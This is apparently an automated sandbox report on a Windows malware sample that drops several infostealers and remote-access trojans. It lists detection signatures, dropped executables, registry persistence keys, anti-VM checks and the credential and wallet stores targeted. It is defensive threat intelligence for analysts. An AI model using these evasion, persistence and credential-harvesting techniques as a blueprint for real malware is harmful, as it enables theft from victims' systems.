Malware Analysis Report

2024-10-19 08:35

Sample ID 240731-g7zprs1bqr
Target c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28
SHA256 c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28
Tags
amadey quasar redline sectoprat stealc 0657d1 25072023 30072024 exodusmarket.io fed3aa livetraffic logs office04 qll valenciga credential_access discovery evasion execution infostealer persistence pyinstaller rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28

Threat Level: Known bad

The file c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28 was found to be: Known bad.

Malicious Activity Summary

amadey quasar redline sectoprat stealc 0657d1 25072023 30072024 exodusmarket.io fed3aa livetraffic logs office04 qll valenciga credential_access discovery evasion execution infostealer persistence pyinstaller rat spyware stealer trojan

Quasar payload

Quasar RAT

SectopRAT payload

SectopRAT

Stealc

Amadey

RedLine payload

Suspicious use of NtCreateUserProcessOtherParentProcess

RedLine

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Credentials from Password Stores: Credentials from Web Browsers

Downloads MZ/PE file

Stops running service(s)

Checks computer location settings

Drops startup file

Executes dropped EXE

Unsecured Credentials: Credentials In Files

Reads WinSCP keys stored on the system

Loads dropped DLL

Reads data files stored by FTP clients

Reads user/profile data of web browsers

Identifies Wine through registry keys

Checks BIOS information in registry

Enumerates connected drives

Accesses cryptocurrency files/wallets, possible credential harvesting

Checks installed software on the system

Power Settings

Looks up external IP address via web service

Blocklisted process makes network request

Adds Run key to start application

Drops file in System32 directory

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Launches sc.exe

Drops file in Windows directory

Drops file in Program Files directory

Browser Information Discovery

Detects Pyinstaller

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Program crash

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Modifies registry class

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Uses Volume Shadow Copy service COM API

Suspicious use of SendNotifyMessage

Suspicious behavior: AddClipboardFormatListener

Scheduled Task/Job: Scheduled Task

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Modifies data under HKEY_USERS

Suspicious use of SetWindowsHookEx

Uses Task Scheduler COM API

Checks SCSI registry key(s)

Suspicious use of FindShellTrayWindow

Modifies system certificate store

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-31 06:27

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-31 06:27

Reported

2024-07-31 06:30

Platform

win11-20240730-en

Max time kernel

149s

Max time network

151s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Stealc

stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 8064 created 3376 N/A C:\Users\Admin\AppData\Local\Temp\_MEI75602\Blsvr.exe C:\Windows\Explorer.EXE
PID 8064 created 3376 N/A C:\Users\Admin\AppData\Local\Temp\_MEI75602\Blsvr.exe C:\Windows\Explorer.EXE
PID 8064 created 3376 N/A C:\Users\Admin\AppData\Local\Temp\_MEI75602\Blsvr.exe C:\Windows\Explorer.EXE

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Downloads MZ/PE file

Stops running service(s)

evasion execution

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe N/A
N/A N/A C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI75602\Blsvr.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\adada.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\ProgramData\urpolcr\mlpgetq.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Endpoint Manager = "C:\\Program Files (x86)\\COMODO\\Endpoint Manager\\ITSMAgent.exe" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Microsoft\Windows\CurrentVersion\Run\0272ecd3cd.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000020001\\0272ecd3cd.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000\Software\Microsoft\Windows\CurrentVersion\Run\e1bdee8355.exe = "C:\\Users\\Admin\\1000029002\\e1bdee8355.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\msiexec.exe N/A
N/A N/A C:\Windows\System32\msiexec.exe N/A

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\P: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\msiexec.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Power Settings

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\powercfg.exe N/A
N/A N/A C:\Windows\System32\powercfg.exe N/A
N/A N/A C:\Windows\System32\cmd.exe N/A
N/A N/A C:\Windows\System32\powercfg.exe N/A
N/A N/A C:\Windows\System32\powercfg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\DLLs\_tkinter.pyd C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\cp1253.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\Tree.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\log.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\koi8_u.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\test.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\cp936.enc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Greenwich C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\__phello__.foo.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib2to3\fixes\fix_types.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\lt.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\iso8859_2.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\requests\packages\chardet\sbcsgroupprober.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\dingbats.enc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\mktransgif.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\cachecontrol\heuristics.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Atlantic\Madeira C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\tick.xbm C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\spin.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\lib-tk\tkColorChooser.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\packaging\__init__.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\de_at.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Etc\GMT+5 C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk85.lib C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\numbers.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\SystemV\PST8 C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
